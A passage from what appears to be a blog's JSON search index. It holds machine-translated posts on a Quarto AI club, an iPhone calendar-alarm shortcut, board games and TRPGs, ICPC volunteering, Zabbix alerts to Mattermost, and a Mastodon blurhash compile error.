achieve this, I need an environment where AIs can easily compete against each other and the introduction of ELO rating to quantify and compare AI strength, so I am currently building an environment that realizes these two features. After the environment is built, I plan to perform AI tuning and other adjustments to implement an even stronger AI.\nThe above is the 2021 activity report for Quarto-kai.\nIf anyone is interested in these activities or would like to join the group, please contact Unigiri via a mention on the Fediverse, or at the email address listed on the top page of this website. I would be happy to share detailed information about our activities.\nTomorrow is Kagurazaka Annon-san\u0026rsquo;s \u0026ldquo;I\u0026rsquo;ll talk about Mancala or board games you can play in VRC.\u0026rdquo;\nLuc Goossens\u0026rsquo; paper (1998) proved that if two players both continue to play the optimal moves, the result is always a draw. Therefore, an AI that always wins is impossible to implement.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAlgorithms with Python / Minimax and Alpha-Beta Pruning ● Game Tree\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQuarto! - quarto.pdf p.35\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAlgorithms with Python / Minimax and Alpha-Beta Pruning ● Minimax and ● Alpha-Beta Pruning\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/summary-of-quarto-2021/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eThis article is for Day 9 of \u003ca href=\"https://adventar.org/calendars/6259\"\u003eTable Game Tansu Advent Calendar 2021\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe previous article was Kurenainoushi-san\u0026rsquo;s \u003ca href=\"https://note.com/kurenainousi/n/n450cd532fa2f\"\u003eTexas Hold\u0026rsquo;em Poker Rules Explanation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eStarting April 11 of this year, the Quarto Solving by Computer Group (hereafter, Quarto-kai) has been holding regular sessions with four members: \u003ca href=\"https://tablegame.mstdn.cloud/@anno_kgrzk\"\u003eKagurazaka Annon-san\u003c/a\u003e, \u003ca href=\"https://tablegame.mstdn.cloud/@Arbolpueblo\"\u003eKimunii-san\u003c/a\u003e, \u003ca href=\"https://tablegame.mstdn.cloud/@ATESAKI/\"\u003eAtesaki-san\u003c/a\u003e, and myself. This article summarizes the founding history of Quarto-kai and its 2021 activities.\u003c/p\u003e\n\u003cp\u003ePrerequisite knowledge such as Quarto\u0026rsquo;s rules will not be explained here. Please refer to external sites such as \u003ca href=\"https://nicobodo.com/archives/27464438.html\"\u003eQuarto! | Nicobodo | Board Game Review \u0026amp; Info Blog\u003c/a\u003e.\u003c/p\u003e","title":"Quarto Solvers' Club 2021 Activity Report"},{"content":" This article was machine-translated from the Japanese version.\nThis article is for Day 1 of Table Game Tansu Advent Calendar 2021.\nLast time was Raira\u0026rsquo;s I wanna sing the Carol( ) on the final day of 2020.\nThis article is intended for iPhone users who are not suffering from insomnia.\nIf you use Android or another smartphone, please consider purchasing an iPhone while reading this article.\nIf you suffer from insomnia, please be outraged that such an infuriating article was written.\nIntroduction Do you all like sleep?\nI love it. I sleep every day, and I wake up every day.\nBut this thing called sleep is quite troublesome — you actually lose consciousness while sleeping.\nIf you accidentally indulge in sleep right before a board game or TRPG session, you\u0026rsquo;ll end up being late or canceling at the last minute.\nThe iPhone\u0026rsquo;s built-in Calendar app has a feature that produces a \\ring♪/ sound before a scheduled event, but someone who is a champion of indulging in slumber and proudly ranks first in falling-back-asleep frequency is not going to wake up from something like that.\nWhat\u0026rsquo;s needed is a feature that blares even louder, even more persistently, repeating infinitely until consciousness awakens.\nYes, something like the alarm feature in the equally built-in Clock app\u0026hellip;\nHere, I\u0026rsquo;ll explain how to automatically create an alarm that rings 15 minutes before the start of any event you\u0026rsquo;ve entered in your calendar.\nPrerequisites You have linked your Google account to the iPhone\u0026rsquo;s built-in Calendar app and are displaying events Using the Google Calendar app is not covered here You have created a calendar called TRPG/BoardGame in your Google account Calendars can be created from the left menu of the web version of Google Calendar Specifications Register events in the TRPG/BoardGame calendar At 3:00 AM every day, check all events registered in the TRPG/BoardGame calendar for that day If the current day is day N, events on day N+1 and later are not checked Create an alarm in the Clock app that rings 15 minutes before each checked event If event details are changed after 3:00 AM, the changes will not be reflected in the alarm, so manual correction is required How to Automatically Create Alarms We use the iPhone\u0026rsquo;s built-in Shortcuts app.\n1. Launch the Shortcuts App Launch the Shortcuts app and select Automation from the bottom of the screen.\nOnce selected, the screen will look like the following.\n※The screenshot shows the state after automatic alarm creation has been completed.\nIf you haven\u0026rsquo;t done the setup yet, the setting labeled \u0026ldquo;Every day, at 3:00\u0026rdquo; will not exist.\n2. Create a New Shortcut Tap the \u0026ldquo;+\u0026rdquo; displayed in the upper right corner of the state from step 1.\nThen, the following screen will be displayed.\nHere, tap \u0026ldquo;Create Personal Automation.\u0026rdquo;\nThen, the following screen will be displayed.\nHere, tap \u0026ldquo;Time of Day\u0026rdquo; displayed at the top.\nThen, the following screen will be displayed.\nHere, set when you want the automatic alarm creation to occur.\nThe screenshot shows it set to 3:00 AM, but any time you prefer is fine.\nHowever, make sure to specify \u0026ldquo;Daily\u0026rdquo; for Repeat.\nPress \u0026ldquo;Next\u0026rdquo; in the upper right to move to the next screen.\nThen, the following screen will be displayed.\n3. Configure Shortcut Actions 3-1. Retrieve Events from Calendar Tap \u0026ldquo;Add Action\u0026rdquo; displayed in the center of the screen.\nThen, the action list will be displayed.\nType \u0026ldquo;Calendar\u0026rdquo; in the search field as shown below, and tap \u0026ldquo;Find Calendar Events\u0026rdquo; from the filtered items.\nThen, the action will be added as follows.\nChange the content of the added action as follows.\nThe changes are:\nChange the start date from 7 to 1 Tap \u0026ldquo;Add Filter\u0026rdquo; and specify \u0026ldquo;Calendar equals TRPG/BoardGame\u0026rdquo; Set the sort order to Start Date (Oldest First) 3-2. Create a Repeat Action Since there may be multiple session schedules on a single day, specify a repeat process to create an alarm for each event.\nTap the \u0026ldquo;+\u0026rdquo; displayed at the bottom of the action you just created.\nThen, the following screen will be displayed.\nThis time, don\u0026rsquo;t type anything in the search field, and tap \u0026ldquo;Scripting\u0026rdquo; which is displayed by default.\n※The iPhone I\u0026rsquo;m using has a small display, so it\u0026rsquo;s abbreviated as \u0026ldquo;Scripti.\u0026rdquo;\nThen, a list of actions available in Scripting will be displayed.\nScroll down and tap \u0026ldquo;Repeat with Each\u0026rdquo; in the Control Flow category.\nTapping it will add the Scripting action as follows.\nLeave this action unchanged and use it with its default settings.\n3-3. Create an Alarm Tap \u0026ldquo;+\u0026rdquo; to create a new action.\nType \u0026ldquo;Adjust Date\u0026rdquo; in the search field as shown below, and tap the displayed action.\nAfter tapping, tap \u0026ldquo;+\u0026rdquo; again to add one more new action.\nType \u0026ldquo;Clock\u0026rdquo; in the search field, and tap \u0026ldquo;Create Alarm\u0026rdquo; from the displayed items.\nAfter adding both actions, the screen looks like this.\nAfter this, move the two added actions inside the Repeat block.\nSpecifically, long-press an action to make it draggable, then move it to the desired position.\nUltimately, arrange them so they are in the following positional relationship.\nThey are arranged in the following order from top to bottom:\nAction to retrieve events from Calendar (cut off in the screenshot) Scripting start action Date adjustment action Alarm creation action Scripting end action Finally, change the content of the two actions as follows.\nThe changes are:\nSet the Date adjustment action to \u0026ldquo;Subtract 15 minutes from Start Date\u0026rdquo; Set the Alarm creation action to \u0026ldquo;Create alarm for Adjusted Date with the name Title\u0026rdquo; If you can\u0026rsquo;t find \u0026ldquo;Title\u0026rdquo; when changing the Alarm creation action settings, tap \u0026ldquo;Repeat Item.\u0026rdquo;\nDoing so makes Title selectable as a sub-item.\n4. Verify Behavior All settings are complete, so finally verify the behavior.\nBefore running it, make sure at least one event is registered in the TRPG/BoardGame calendar for today.\nIf there are zero events, no alarm will be created.\nOnce you\u0026rsquo;ve confirmed there is an event, tap \u0026ldquo;▶\u0026rdquo; in the lower right of the screen to actually run this shortcut.\nLaunch the Clock app and display the alarm list.\nIf an alarm has been created, the shortcut execution was successful.\nReturn to the Shortcuts screen and tap \u0026ldquo;Next\u0026rdquo; in the upper right.\nYou\u0026rsquo;ll move to the following screen, so turn off \u0026ldquo;Ask Before Running.\u0026rdquo;\nTap \u0026ldquo;Done\u0026rdquo; in the upper right, and the automatic alarm creation procedure is complete.\nConclusion Congratulations! If you\u0026rsquo;ve completed this procedure to the end, you can indulge in slumber anytime.\nBut be careful. The power of sleep is terrifying — there are times when you won\u0026rsquo;t wake up no matter how much the alarm blares.\nThere\u0026rsquo;s also the possibility of unconsciously turning off the alarm and going back to sleep.\nThe desire for sleep resides even in the human unconscious, and it can never be resisted.\nTo fundamentally prevent sleeping through things, you need a regular lifestyle, the physical stamina not to be completely exhausted by daytime activity, and various other efforts.\nIt would be nice to have a life where such things come naturally.\nTomorrow is Takekki-san\u0026rsquo;s Fell into the AKG Swamp.\n","permalink":"https://unigiri.gitlab.io/en/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eThis article is for Day 1 of \u003ca href=\"https://adventar.org/calendars/6259\"\u003eTable Game Tansu Advent Calendar 2021\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eLast time was Raira\u0026rsquo;s \u003ca href=\"https://raira-trpg.blogspot.com/2020/12/i-wanna-sing-carol.html\"\u003eI wanna sing the Carol( )\u003c/a\u003e on the final day of 2020.\u003c/p\u003e\n\u003cp\u003eThis article is intended for iPhone users who are not suffering from insomnia.\u003cbr\u003e\nIf you use Android or another smartphone, please consider purchasing an iPhone while reading this article.\u003cbr\u003e\nIf you suffer from insomnia, please be outraged that such an infuriating article was written.\u003c/p\u003e","title":"The ultimate way for iPhone users to stop oversleeping"},{"content":" This article was machine-translated from the Japanese version.\nThoughts on Board Games and TRPGs This is the Day 12 article for Tansu Advent Calendar 2020.\nYesterday was makino\u0026rsquo;s Thoughts on All Classes, Types, and Ode Specialties in Shoujo Tenrankai.\n1. Who are you? I go by Unigiri. Read as \u0026ldquo;unigiri\u0026rdquo;.\nOn https://tablegame.mstdn.cloud (commonly known as Tansu), I enjoy board games and TRPGs in roughly equal proportions.\nI\u0026rsquo;ve listed the board games I\u0026rsquo;ve experienced here and the TRPGs here.\nFor TRPGs, I\u0026rsquo;ve been exclusively a PL so far, but I\u0026rsquo;m planning to GM for the first time soon.\n2. What will I talk about? I\u0026rsquo;m a beginner who, until joining Tansu on August 10, 2020, had absolutely no experience with TRPGs and nearly no experience with board games.\nAs such, I have no useful information to share, so I\u0026rsquo;ll do the classic beginner-in-the-community thing and talk about myself.\nThis time, I\u0026rsquo;ll talk about how my impressions of board games and TRPGs changed before and after joining Tansu.\n3. Board Games 3-1. Before Joining Tansu To be honest, I didn\u0026rsquo;t really know what a board game was.\nThat said, it\u0026rsquo;s not like I had never played one at all — I played several at a friend\u0026rsquo;s house when I was little, but since I was never taught that they were called \u0026ldquo;board games,\u0026rdquo; I perceived them as \u0026ldquo;strange foreign games.\u0026rdquo;\nAlso, the office I used to go to before joining Tansu had stacks of board game boxes, but I never really picked any of them up.\nLooking back now, I realize what a fortunate environment that was.\nSpeaking of fortunate environments, there was a shop called Sugorokuya about a 10-minute bike ride from my childhood home, but I moved away without ever setting foot inside.\nWhy didn\u0026rsquo;t I go in??????\n3-2. After Joining Tansu Right after joining, as mentioned above, I didn\u0026rsquo;t really know what \u0026ldquo;board game\u0026rdquo; referred to, so while reading Kimunii\u0026rsquo;s various game introductions, I was holding back the question \u0026ldquo;How are board games different from Sevens or Solitaire?\u0026rdquo;\n(I thought it sounded like such a silly question so I didn\u0026rsquo;t ask, but it might have been entertaining if I had.)\nFortunately, after that I was invited to play various games and taught many techniques as well.\nNow, I particularly feel this when playing games like Catan or Carcassonne where you lay tiles and manage your territory. As someone who mostly played solo against the CPU in PC games, my impression of board games was:\n\u0026ldquo;Things like the Civilization series or card games that you can play on PC originally originated as analog games, and in analog form you can only play against other people.\u0026rdquo;\n\u0026ldquo;When playing against other people, you can chat and have fun together, and unlike a CPU the moves aren\u0026rsquo;t monotonous, so it\u0026rsquo;s more enjoyable.\u0026rdquo;\nIt feels like I\u0026rsquo;m stating the obvious, but up until now my only opponent for this kind of thing was the CPU.\nSo rather than formulating strategies to win, my playstyle was about reading the CPU\u0026rsquo;s patterns and making the optimal moves accordingly. That made human-vs-human games that don\u0026rsquo;t follow simple patterns more difficult, and more enjoyable.\nI still don\u0026rsquo;t have a game where I can confidently say \u0026ldquo;I won\u0026rsquo;t lose at this one!\u0026rdquo;, so I\u0026rsquo;d like to master at least one game sometime soon.\n4. TRPGs 4-1. Before Joining Tansu For TRPGs, I used to watch replay videos or replay-style videos on Nico Nico Douga.\nSpecifically, I was watching Yukkuri Kuzu-domo no Cthulhu.\nNow, I\u0026rsquo;m not sure if this is a common experience, but because of that, I didn\u0026rsquo;t know that TRPGs other than Cthulhu existed.\nIn other words, TRPG = Cthulhu, so when I read Tansu\u0026rsquo;s description as \u0026ldquo;a server where you play board games and TRPGs,\u0026rdquo; I thought \u0026ldquo;Ah ha. So it\u0026rsquo;s a server where you play board games and Cthulhu.\u0026rdquo;\nLooking back now, I think — how did that even happen\u0026hellip;?\n4-2. After Joining Tansu Despite such ignorance, my first TRPG was Tokyo Nightmare.\nBy that time, I had already learned from Tansu\u0026rsquo;s HTL that there are various TRPGs and they are called \u0026ldquo;systems.\u0026rdquo;\nThe GM (technically RL since it was TNM) of that session was Usaturn, and I clearly remember when I said during introductions \u0026ldquo;This is my first TRPG; I used to watch replay videos a lot,\u0026rdquo; they told me — somewhat seriously — that actually playing TRPGs is quite different from watching replays.\nAnd indeed it was. In an actual session, you can\u0026rsquo;t instantly make the optimal decision, nor can you instantly do the calculations needed for checks.\nHowever, that was absolutely not a problem for me.\nTo use an analogy, perhaps it\u0026rsquo;s the feeling of someone who aspired to be an actor, who kept watching others\u0026rsquo; performances, and finally — with still-clumsy skills — stood on their own stage.\nFor me, who had been watching replay videos (for about a year?) thinking \u0026ldquo;that looks fun,\u0026rdquo; my first TRPG gave me a strong sense that \u0026ldquo;I\u0026rsquo;ve finally become a participant in the story.\u0026rdquo;\nI\u0026rsquo;ve always liked acting, so I\u0026rsquo;ve been happily roleplaying at every session.\nI\u0026rsquo;m very glad to be able to create many stories together with everyone in Tansu.\n5. A Nice Wrap-up And so, I now enjoy both board games and TRPGs very much.\nI may still be unpolished in many ways, but I look forward to your continued support!\nTomorrow is -101-\u0026rsquo;s illustrated report.\n","permalink":"https://unigiri.gitlab.io/en/posts/tansu-advent-calendar-2020/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"thoughts-on-board-games-and-trpgs\"\u003eThoughts on Board Games and TRPGs\u003c/h1\u003e\n\u003cp\u003eThis is the Day 12 article for \u003ca href=\"https://adventar.org/calendars/6102\"\u003eTansu Advent Calendar 2020\u003c/a\u003e.\u003cbr\u003e\nYesterday was makino\u0026rsquo;s \u003ca href=\"https://makimochi89.hatenablog.com/entry/2020/12/11/015845\"\u003eThoughts on All Classes, Types, and Ode Specialties in Shoujo Tenrankai\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"1-who-are-you\"\u003e1. Who are you?\u003c/h2\u003e\n\u003cp\u003eI go by \u003ca href=\"https://tablegame.mstdn.cloud/@unigiri\"\u003eUnigiri\u003c/a\u003e. Read as \u0026ldquo;unigiri\u0026rdquo;.\u003cbr\u003e\nOn \u003ca href=\"https://tablegame.mstdn.cloud\"\u003ehttps://tablegame.mstdn.cloud\u003c/a\u003e (commonly known as Tansu), I enjoy board games and TRPGs in roughly equal proportions.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve listed the board games I\u0026rsquo;ve experienced \u003ca href=\"/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BF%E3%83%9C%E3%83%BC%E3%83%89%E3%82%B2%E3%83%BC%E3%83%A0%E4%B8%80%E8%A6%A7/\"\u003ehere\u003c/a\u003e and the TRPGs \u003ca href=\"/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BFtrpg%E4%B8%80%E8%A6%A7/\"\u003ehere\u003c/a\u003e.\u003cbr\u003e\nFor TRPGs, I\u0026rsquo;ve been exclusively a PL so far, but I\u0026rsquo;m planning to GM for the first time soon.\u003c/p\u003e","title":"Thoughts on board games and tabletop RPGs"},{"content":" This article was machine-translated from the Japanese version.\nI also participated as a staff member this year.\nDay 1 Assembled at Yokohama Sanbo Hall at 9 AM. Completed various preparations such as receiving T-shirts and name tags, then held the morning meeting.\nAfter that, finished the rehearsal test, and as the reception team, checked the area near the entrance and confirmed the procedure and notes for accepting contestants and coaches.\nSince it was the same venue as last year and I was also on the reception team last year, it went particularly smoothly for me personally.\nAfter confirming, we prepared balloons, had lunch, and waited until the admission time.\nAdmission started at 1 PM. Since staff needed to speak to participants in English, it was initially a bit cumbersome, but the wording gradually became optimized and there were no particular difficulties in the latter half.\nHowever, one point of reflection was that since we confirmed the notes for today and tomorrow all at once, the contents got mixed up in my head, and I sometimes mistakenly applied tomorrow\u0026rsquo;s notes to today.\nAlso, I realized that it was fine to give directions quite roughly.\n(Example: Instead of saying \u0026ldquo;This aisle is for exit only and cannot be used, so please use the other aisle over there,\u0026rdquo; simply saying \u0026ldquo;This aisle is for exit only\u0026rdquo; was enough — people would move to the other aisle on their own.)\nAfter all teams had entered, we distributed balloons and printed materials during the rehearsal and patrolled the venue.\nRegarding the distribution of printed materials, measures to prevent misdelivery were strengthened starting this year, with a double-check of the target team being conducted by two people.\nIn the end, no misdelivery occurred even once, and if it doesn\u0026rsquo;t happen tomorrow either, it may prove to be quite effective.\nAfter the rehearsal, we watched the team introductions and merit award (?) presentations, then handled cloakroom duty for the contestants exiting.\nSince everyone exited at once and the aisles around the cloakroom were narrow, the flow of foot traffic stalled due to people waiting to pick up their belongings.\nAfter the exit, we reorganized the entrance area for tomorrow, confirmed the acceptance procedure again, and disbanded around 6 PM.\nAte and drank in Chinatown, went to bed around 11:30 PM.\nDay 2 Woke up around 5:30 AM, so I killed time writing my Day 1 report.\nHad breakfast at the hotel, then assembled at the venue at 7:45 AM.\nConfirmed notes for the reception area and prepared posted notices, then waited for the venue to open.\nAfter opening, I carried out the reception team duties as on Day 1. No particular troubles.\nAfter all teams had completed reception, I joined the balloon and printed material distribution \u0026amp; venue patrol team.\nUnlike Day 1, there was no initial submission rush, so it was relatively easy.\nOne issue was that when printing 4 or more pages, the print content would shift and part of the code would become unreadable — a problem on the printer side — which required checking with the contestants each time whether the output was acceptable.\nFortunately, there weren\u0026rsquo;t many teams that printed 4 or more pages, so it didn\u0026rsquo;t cause much delay, but I\u0026rsquo;d like them to use a different printer starting next year.\nAfter the contest ended, we quickly carried out the teardown, and after the work was done, I joined the contestants\u0026rsquo; ranking announcement.\nAs is the case every year, my legs were completely done in from walking too much by this time, so I sat on the hall floor to watch. (Very uncivilized behavior)\nAfter that, since I had absolutely no confidence I could keep standing for the buffet, I spent the time sitting in the back area.\nWhen the timing seemed right, I snuck a few bread rolls and ate them.\nAfter the contestants exited, we cleaned up inside the venue and completed the teardown.\n","permalink":"https://unigiri.gitlab.io/en/posts/icpc2019-asia-yokohama-regional/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eI also participated as a staff member this year.\u003c/p\u003e\n\u003ch2 id=\"day-1\"\u003eDay 1\u003c/h2\u003e\n\u003cp\u003eAssembled at Yokohama Sanbo Hall at 9 AM. Completed various preparations such as receiving T-shirts and name tags, then held the morning meeting.\u003cbr\u003e\nAfter that, finished the rehearsal test, and as the reception team, checked the area near the entrance and confirmed the procedure and notes for accepting contestants and coaches.\u003cbr\u003e\nSince it was the same venue as last year and I was also on the reception team last year, it went particularly smoothly for me personally.\u003cbr\u003e\nAfter confirming, we prepared balloons, had lunch, and waited until the admission time.\u003c/p\u003e","title":"ICPC 2019 Asia Yokohama Regional Participation Report"},{"content":" This article was machine-translated from the Japanese version.\nI gave a lightning talk at the online study group Infra Workshop.\nThe following is the cheat sheet and material used during the presentation; details were explained orally and are therefore omitted here.\nMeaning of \u0026ldquo;Monitoring\u0026rdquo; here Visually checking the update status of all media, including news, blogs, SNS, etc.\nWhat I do for monitoring I consolidate the operational foundation for visual checking into a single service and manage it\nThis provides the following benefits\nYou can check only the information you want to see Unread/read management is easy No need to download apps or register favorites for each medium Mechanism [Apps, Web Services] \u0026ndash;\u0026gt; [Zapier] - incoming webhook \u0026ndash;\u0026gt; [Mattermost] \u0026ndash; eyes \u0026ndash;\u0026gt; [Unigiri]\nWhy Mattermost? Mostly just for fun Being OSS, you can read the source code, and if you\u0026rsquo;re dissatisfied with its behavior, you can request improvements Since it\u0026rsquo;s a chat tool hosted on your own server, you can easily post personal information (not very meaningful if the purpose is only monitoring) Why Zapier? It supports fetching Twitter tweets and posting to Mattermost\nMonitoring items Blog Calender News (The Japan Times) Security News (CISA) Twitter Zabbix Alert ","permalink":"https://unigiri.gitlab.io/en/posts/monitor-everything/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eI gave a lightning talk at the online study group \u003ca href=\"https://wp.infra-workshop.tech/\"\u003eInfra Workshop\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe following is the cheat sheet and material used during the presentation; details were explained orally and are therefore omitted here.\u003c/p\u003e\n\u003ch3 id=\"meaning-of-monitoring-here\"\u003eMeaning of \u0026ldquo;Monitoring\u0026rdquo; here\u003c/h3\u003e\n\u003cp\u003eVisually checking the update status of all media, including news, blogs, SNS, etc.\u003c/p\u003e\n\u003ch3 id=\"what-i-do-for-monitoring\"\u003eWhat I do for monitoring\u003c/h3\u003e\n\u003cp\u003eI consolidate the operational foundation for visual checking into a single service and manage it\u003c/p\u003e","title":"Introduction to Monitoring (Daily Life Edition)"},{"content":" This article was machine-translated from the Japanese version.\nEnvironment Mattermost 5.11.0 Zabbix 4.2.4 Procedure 1. Create Incoming Webhook Select Integrations \u0026gt; Incoming Webhook \u0026gt; Add Incoming Webhook from the Mattermost menu.\nChoose the channel you want to notify; other settings are optional.\nNote the URL generated after configuration.\n2. Place the notification script on the Zabbix server Here we use https://github.com/jirouette/zabbix-mattermost-alertscript\nPlace the script mattermost.py under the path specified by AlertScriptsPath= in /etc/zabbix/zabbix_server.conf.\nModify part of the content as follows:\nURL The URL generated in step 1 ICON The URL of the icon to display in notifications Also, change the permissions with the following command:\nsudo chown root:root mattermost.py sudo chmod 755 mattermost.py After changing, verify that a notification is sent to Mattermost with the following command.\n#alerts specifies the channel to notify.\npython mattermost.py \u0026#39;#alerts\u0026#39; PROBLEM \u0026#39;Oh no! Something is wrong!\u0026#39; 3. Create Media Type Select Administration \u0026gt; Media types \u0026gt; Create media type from the Zabbix console and enter the following.\n4. Create User Select a new or existing user from Administration \u0026gt; Users and add the following content to Media.\nHowever, specify the channel configured in step 1 in Send to.\nHereafter, the user with Media configured is referred to as Admin.\n5. Add Action Add the following content from Configuration \u0026gt; Actions \u0026gt; Create action.\nAction Operations By specifying [Problem: {EVENT.NAME} | {HOST.NAME}](https://SERVER_NAME/tr_events.php?triggerid={TRIGGER.ID}\u0026amp;eventid={EVENT.ID}) as the Default subject, you can add a link to the alert details.\n6. Verify Behavior Add a Trigger that will reliably generate an alert, or increase load by running something like yes \u0026gt; /dev/null to trigger an alert.\nIf the alert is displayed in Monitoring \u0026gt; Problems and a number appears in the Actions column, the Zabbix configuration is successful.\nConfirm that a notification is sent to Mattermost.\nSupplementary: Macros available for error message configuration Macros such as {EVENT.NAME} and {HOST.NAME} exist to change content based on alerts.\nFor a list of macros, refer to the following:\nhttps://www.zabbix.com/documentation/4.2/manual/appendix/macros/supported_by_location\n","permalink":"https://unigiri.gitlab.io/en/posts/notify-zabbix-alert-to-mattermost/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"environment\"\u003eEnvironment\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMattermost 5.11.0\u003c/li\u003e\n\u003cli\u003eZabbix 4.2.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"procedure\"\u003eProcedure\u003c/h2\u003e\n\u003ch3 id=\"1-create-incoming-webhook\"\u003e1. Create Incoming Webhook\u003c/h3\u003e\n\u003cp\u003eSelect \u003ccode\u003eIntegrations \u0026gt; Incoming Webhook \u0026gt; Add Incoming Webhook\u003c/code\u003e from the Mattermost menu.\u003c/p\u003e\n\u003cp\u003eChoose the channel you want to notify; other settings are optional.\u003c/p\u003e\n\u003cp\u003eNote the URL generated after configuration.\u003c/p\u003e\n\u003ch3 id=\"2-place-the-notification-script-on-the-zabbix-server\"\u003e2. Place the notification script on the Zabbix server\u003c/h3\u003e\n\u003cp\u003eHere we use \u003ca href=\"https://github.com/jirouette/zabbix-mattermost-alertscript\"\u003ehttps://github.com/jirouette/zabbix-mattermost-alertscript\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePlace the script mattermost.py under the path specified by \u003ccode\u003eAlertScriptsPath=\u003c/code\u003e in \u003ccode\u003e/etc/zabbix/zabbix_server.conf\u003c/code\u003e.\u003c/p\u003e","title":"How to send Zabbix alerts to Mattermost"},{"content":" This article was machine-translated from the Japanese version.\nWhat happened In Mastodon v2.8.1, a bug occurred where gem install blurhash would fail in certain environments. This issue has been fixed in v2.8.2.\nhttps://mstdn.jp/@yi0713/102008223252331858\nCentOS勢、masterに追加された blurhash というgemのインストールでコケると思います。原因は gcc が 4.8.5 と古いためのようです\nhttps://mastodon.social/@Mastodon/102044104623035256\nSome people have reported problems installing Mastodon v2.8.1 due to gem compilation.\nThis and a few other small bugs have been fixed in #Mastodon v2.8.2\nReproducing the bug $ cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) $ gcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper Target: x86_64-redhat-linux Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux Thread model: posix gcc version 4.8.5 20150623 (Red Hat 4.8.5-36) (GCC) $ gem install blurhash -v 0.1.2 Building native extensions. This could take a while... ERROR: Error installing blurhash: ERROR: Failed to build gem native extension. /usr/bin/ruby extconf.rb creating Makefile make \u0026#34;DESTDIR=\u0026#34; gcc -I. -I/usr/include -I/usr/include/ruby/backward -I/usr/include -I. -fPIC -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -mtune=generic -fPIC -m64 -o encode.o -c encode.c encode.c: In function \u0026#39;blurHashForPixels\u0026#39;: encode.c:28:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int y = 0; y \u0026lt; yComponents; y++) { ^ encode.c:28:2: note: use option -std=c99 or -std=gnu99 to compile your code encode.c:29:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int x = 0; x \u0026lt; xComponents; x++) { ^ encode.c:48:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; acCount * 3; i++) { ^ encode.c:62:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; acCount; i++) { ^ encode.c: In function \u0026#39;multiplyBasisFunction\u0026#39;: encode.c:75:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int y = 0; y \u0026lt; height; y++) { ^ encode.c:76:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int x = 0; x \u0026lt; width; x++) { ^ encode.c: In function \u0026#39;encode_int\u0026#39;: encode.c:129:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; length - 1; i++) divisor *= 83; ^ encode.c:131:10: error: redefinition of \u0026#39;i\u0026#39; for(int i = 0; i \u0026lt; length; i++) { ^ encode.c:129:10: note: previous definition of \u0026#39;i\u0026#39; was here for(int i = 0; i \u0026lt; length - 1; i++) divisor *= 83; ^ encode.c:131:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; length; i++) { ^ make: *** [encode.o] Error 1 Gem files will remain installed in /usr/local/share/gems/gems/blurhash-0.1.2 for inspection. Results logged to /usr/local/share/gems/gems/blurhash-0.1.2/ext/blurhash/gem_make.out Cause As shown in the error during reproduction, this is because int i is declared within the for loop. This specification was introduced in C99, and requires -std=c99 to be specified during compilation.\nIn Mastodon v2.8.2, an update was made to upgrade blurhash from v0.1.2 to v0.1.31, and in blurhash v0.1.3, a fix was implemented to specify $CFLAGS += ' -std=c99 -lm' during compilation2.\nBackground of the Issue This issue occurred on CentOS 7 but not on Ubuntu 